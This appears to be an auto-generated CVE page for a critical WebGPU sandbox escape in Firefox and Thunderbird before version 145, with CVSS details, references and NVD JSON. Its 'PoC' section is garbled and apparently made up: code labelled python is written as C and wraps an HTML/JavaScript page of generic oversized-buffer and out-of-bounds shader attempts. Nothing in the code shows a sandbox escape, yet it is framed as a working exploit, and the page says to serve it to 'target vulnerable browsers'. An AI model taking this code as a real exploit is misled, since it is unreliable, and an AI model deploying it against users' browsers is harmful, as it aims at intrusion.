CVE-2025-13023

Description

Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 145

Mozilla Thunderbird < 145

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-13023 PoC - WebGPU Boundary Condition Exploitation
// This PoC demonstrates triggering WebGPU boundary condition vulnerability
// NOTE: This is for educational and security research purposes only

const char* poc_html = R"(
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13023 PoC</title>
</head>
<body>
    <h1>CVE-2025-13023 WebGPU Sandbox Escape PoC</h1>
    <button id="exploitBtn">Trigger Vulnerability</button>
    <pre id="output"></pre>

    <script>
        async function triggerVulnerability() {
            const output = document.getElementById('output');
            try {
                // Request WebGPU adapter
                const adapter = await navigator.gpu.requestAdapter();
                if (!adapter) {
                    output.textContent = 'WebGPU not supported';
                    return;
                }

                const device = await adapter.requestDevice();
                
                // Create buffer with specific size to trigger boundary condition
                // The exact parameters depend on the vulnerable code path
                const maliciousSize = 0xFFFFFFFF; // Potential overflow condition
                
                try {
                    const buffer = device.createBuffer({
                        size: maliciousSize,
                        usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC
                    });
                    output.textContent = 'Buffer created - potential vulnerability trigger';
                } catch (e) {
                    output.textContent = 'Error (may indicate vulnerability check): ' + e.message;
                }

                // Attempt compute pipeline with malformed shader
                const shaderCode = `
                    @group(0) @binding(0) var<storage, read_write> buffer: array<u32>;
                    
                    @compute @workgroup_size(1)
                    fn main() {
                        // Attempt out-of-bounds access
                        let idx = 0x7FFFFFFF;
                        buffer[idx] = buffer[idx] + 1;
                    }
                `;

                const shaderModule = device.createShaderModule({ code: shaderCode });
                const computePipeline = device.createComputePipeline({
                    layout: 'auto',
                    compute: {
                        module: shaderModule,
                        entryPoint: 'main'
                    }
                });

                output.textContent += '\nCompute pipeline created - checking for vulnerability';
                
            } catch (error) {
                output.textContent = 'Exception: ' + error.message;
            }
        }

        document.getElementById('exploitBtn').addEventListener('click', triggerVulnerability);
    </script>
</body>
</html>
)";

int main() {
    printf("CVE-2025-13023 WebGPU Sandbox Escape PoC\n");
    printf("Target: Firefox < 145, Thunderbird < 145\n");
    printf("This PoC demonstrates the boundary condition vulnerability in WebGPU.\n");
    printf("Serve the HTML file through a web server and target vulnerable browsers.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13023
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13023
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13023/
[4] VulDB https://vuldb.com/cve/CVE-2025-13023
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1992032
[6] https://www.mozilla.org/security/advisories/mfsa2025-87/
[7] https://www.mozilla.org/security/advisories/mfsa2025-90/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13023", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.403", "lastModified": "2026-04-13T15:16:43.857", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1992032", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}]}}